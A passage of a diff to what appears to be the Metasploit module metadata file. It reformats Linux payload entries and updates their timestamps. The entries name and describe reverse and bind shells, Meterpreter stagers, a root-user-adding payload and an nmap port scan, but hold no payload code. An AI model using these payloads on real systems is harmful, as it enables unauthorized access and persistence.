"autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x64/shell_reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/shell_reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246152,9 +247215,7 @@ "payload_linux/x64/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", "fullname": "payload/linux/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246162,24 +247223,21 @@ "ricky" ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246188,9 +247246,7 @@ "payload_linux/x86/adduser": { "name": "Linux Add User", "fullname": "payload/linux/x86/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246200,24 +247256,21 @@ "spoonm " ], "description": "Create a new user with UID 0", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x86/adduser.rb", "is_install_path": true, "ref_name": "linux/x86/adduser", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246226,9 +247279,7 @@ "payload_linux/x86/chmod": { "name": "Linux Chmod", "fullname": "payload/linux/x86/chmod", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246236,24 +247287,21 @@ "kris katterjohn " ], "description": "Runs chmod on specified file with specified mode", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x86/chmod.rb", "is_install_path": true, "ref_name": "linux/x86/chmod", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246262,9 +247310,7 @@ "payload_linux/x86/exec": { "name": "Linux Execute Command", "fullname": "payload/linux/x86/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246283,15 +247329,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x86/exec.rb", "is_install_path": true, "ref_name": "linux/x86/exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246300,9 +247345,7 @@ "payload_linux/x86/meterpreter/bind_ipv6_tcp": { "name": "Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)", "fullname": "payload/linux/x86/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246312,24 +247355,21 @@ "egypt " ], "description": "Inject the mettle server payload (staged).\n\nListen for an IPv6 connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-04 11:50:07 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246340,9 +247380,7 @@ "payload_linux/x86/meterpreter/bind_ipv6_tcp_uuid": { "name": "Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)", "fullname": "payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246353,24 +247391,21 @@ "OJ Reeves" ], "description": "Inject the mettle server payload (staged).\n\nListen for an IPv6 connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-04 11:50:07 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246381,9 +247416,7 @@ "payload_linux/x86/meterpreter/bind_nonx_tcp": { "name": "Linux Mettle x86, Bind TCP Stager", "fullname": "payload/linux/x86/meterpreter/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246392,24 +247425,21 @@ "skape " ], "description": "Inject the mettle server payload (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246420,9 +247450,7 @@ "payload_linux/x86/meterpreter/bind_tcp": { "name": "Linux Mettle x86, Bind TCP Stager (Linux x86)", "fullname": "payload/linux/x86/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246432,24 +247460,21 @@ "egypt " ], "description": "Inject the mettle server payload (staged).\n\nListen for a connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-04 11:50:07 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246460,9 +247485,7 @@ "payload_linux/x86/meterpreter/bind_tcp_uuid": { "name": "Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)", "fullname": "payload/linux/x86/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246473,24 +247496,21 @@ "OJ Reeves" ], "description": "Inject the mettle server payload (staged).\n\nListen for a connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-04 11:50:07 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246501,9 +247521,7 @@ "payload_linux/x86/meterpreter/find_tag": { "name": "Linux Mettle x86, Find Tag Stager", "fullname": "payload/linux/x86/meterpreter/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246512,24 +247530,21 @@ "skape " ], "description": "Inject the mettle server payload (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/find_tag.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter/find_tag", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246540,9 +247555,7 @@ "payload_linux/x86/meterpreter/reverse_ipv6_tcp": { "name": "Linux Mettle x86, Reverse TCP Stager (IPv6)", "fullname": "payload/linux/x86/meterpreter/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246551,24 +247564,21 @@ "kris katterjohn " ], "description": "Inject the mettle server payload (staged).\n\nConnect back to attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246579,9 +247589,7 @@ "payload_linux/x86/meterpreter/reverse_nonx_tcp": { "name": "Linux Mettle x86, Reverse TCP Stager", "fullname": "payload/linux/x86/meterpreter/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246590,24 +247598,21 @@ "skape " ], "description": "Inject the mettle server payload (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246618,9 +247623,7 @@ "payload_linux/x86/meterpreter/reverse_tcp": { "name": "Linux Mettle x86, Reverse TCP Stager", "fullname": "payload/linux/x86/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246631,24 +247634,21 @@ "tkmru" ], "description": "Inject the mettle server payload (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246659,9 +247659,7 @@ "payload_linux/x86/meterpreter/reverse_tcp_uuid": { "name": "Linux Mettle x86, Reverse TCP Stager", "fullname": "payload/linux/x86/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246672,24 +247670,21 @@ "OJ Reeves" ], "description": "Inject the mettle server payload (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246700,9 +247695,7 @@ "payload_linux/x86/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/x86/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246712,24 +247705,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246738,9 +247728,7 @@ "payload_linux/x86/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/x86/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246750,24 +247738,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246776,9 +247761,7 @@ "payload_linux/x86/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/x86/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246788,24 +247771,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246814,9 +247794,7 @@ "payload_linux/x86/metsvc_bind_tcp": { "name": "Linux Meterpreter Service, Bind TCP", "fullname": "payload/linux/x86/metsvc_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246824,24 +247802,21 @@ "hdm " ], "description": "Stub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/metsvc_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246850,9 +247825,7 @@ "payload_linux/x86/metsvc_reverse_tcp": { "name": "Linux Meterpreter Service, Reverse TCP Inline", "fullname": "payload/linux/x86/metsvc_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246860,24 +247833,21 @@ "hdm " ], "description": "Stub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/metsvc_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246886,9 +247856,7 @@ "payload_linux/x86/read_file": { "name": "Linux Read File", "fullname": "payload/linux/x86/read_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246896,24 +247864,21 @@ "hal" ], "description": "Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x86/read_file.rb", "is_install_path": true, "ref_name": "linux/x86/read_file", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246922,9 +247887,7 @@ "payload_linux/x86/shell/bind_ipv6_tcp": { "name": "Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", "fullname": "payload/linux/x86/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246934,24 +247897,21 @@ "egypt " ], "description": "Spawn a command shell (staged).\n\nListen for an IPv6 connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-04 11:50:07 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/shell/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -246962,9 +247922,7 @@ "payload_linux/x86/shell/bind_ipv6_tcp_uuid": { "name": "Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", "fullname": "payload/linux/x86/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246975,24 +247933,21 @@ "OJ Reeves" ], "description": "Spawn a command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-04 11:50:07 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb", "is_install_path": true, "ref_name": "linux/x86/shell/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247003,9 +247958,7 @@ "payload_linux/x86/shell/bind_nonx_tcp": { "name": "Linux Command Shell, Bind TCP Stager", "fullname": "payload/linux/x86/shell/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247013,24 +247966,21 @@ "skape " ], "description": "Spawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/shell/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247041,9 +247991,7 @@ "payload_linux/x86/shell/bind_tcp": { "name": "Linux Command Shell, Bind TCP Stager (Linux x86)", "fullname": "payload/linux/x86/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247052,24 +248000,21 @@ "egypt " ], "description": "Spawn a command shell (staged).\n\nListen for a connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-04 11:50:07 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247080,9 +248025,7 @@ "payload_linux/x86/shell/bind_tcp_uuid": { "name": "Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", "fullname": "payload/linux/x86/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247092,24 +248035,21 @@ "OJ Reeves" ], "description": "Spawn a command shell (staged).\n\nListen for a connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-04 11:50:07 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb", "is_install_path": true, "ref_name": "linux/x86/shell/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247120,9 +248060,7 @@ "payload_linux/x86/shell/find_tag": { "name": "Linux Command Shell, Find Tag Stager", "fullname": "payload/linux/x86/shell/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247130,24 +248068,21 @@ "skape " ], "description": "Spawn a command shell (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/find_tag.rb", "is_install_path": true, "ref_name": "linux/x86/shell/find_tag", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247158,9 +248093,7 @@ "payload_linux/x86/shell/reverse_ipv6_tcp": { "name": "Linux Command Shell, Reverse TCP Stager (IPv6)", "fullname": "payload/linux/x86/shell/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247169,24 +248102,21 @@ "kris katterjohn " ], "description": "Spawn a command shell (staged).\n\nConnect back to attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/shell/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247197,9 +248127,7 @@ "payload_linux/x86/shell/reverse_nonx_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", "fullname": "payload/linux/x86/shell/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247207,24 +248135,21 @@ "skape " ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/shell/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247235,9 +248160,7 @@ "payload_linux/x86/shell/reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", "fullname": "payload/linux/x86/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247247,24 +248170,21 @@ "tkmru" ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247275,9 +248195,7 @@ "payload_linux/x86/shell/reverse_tcp_uuid": { "name": "Linux Command Shell, Reverse TCP Stager", "fullname": "payload/linux/x86/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247287,24 +248205,21 @@ "OJ Reeves" ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb", "is_install_path": true, "ref_name": "linux/x86/shell/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247315,9 +248230,7 @@ "payload_linux/x86/shell_bind_ipv6_tcp": { "name": "Linux Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/linux/x86/shell_bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247325,24 +248238,21 @@ "kris katterjohn " ], "description": "Listen for a connection over IPv6 and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/shell_bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247351,9 +248261,7 @@ "payload_linux/x86/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", "fullname": "payload/linux/x86/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247361,24 +248269,21 @@ "Ramon de C Valle " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x86/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247387,9 +248292,7 @@ "payload_linux/x86/shell_bind_tcp_random_port": { "name": "Linux Command Shell, Bind TCP Random Port Inline", "fullname": "payload/linux/x86/shell_bind_tcp_random_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247397,7 +248300,7 @@ "Geyslan G. Bem ", "Aleh Boitsau " ], - "description": "Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", + "description": "Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ "URL-https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port.asm", "EDB-41631" @@ -247408,15 +248311,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": 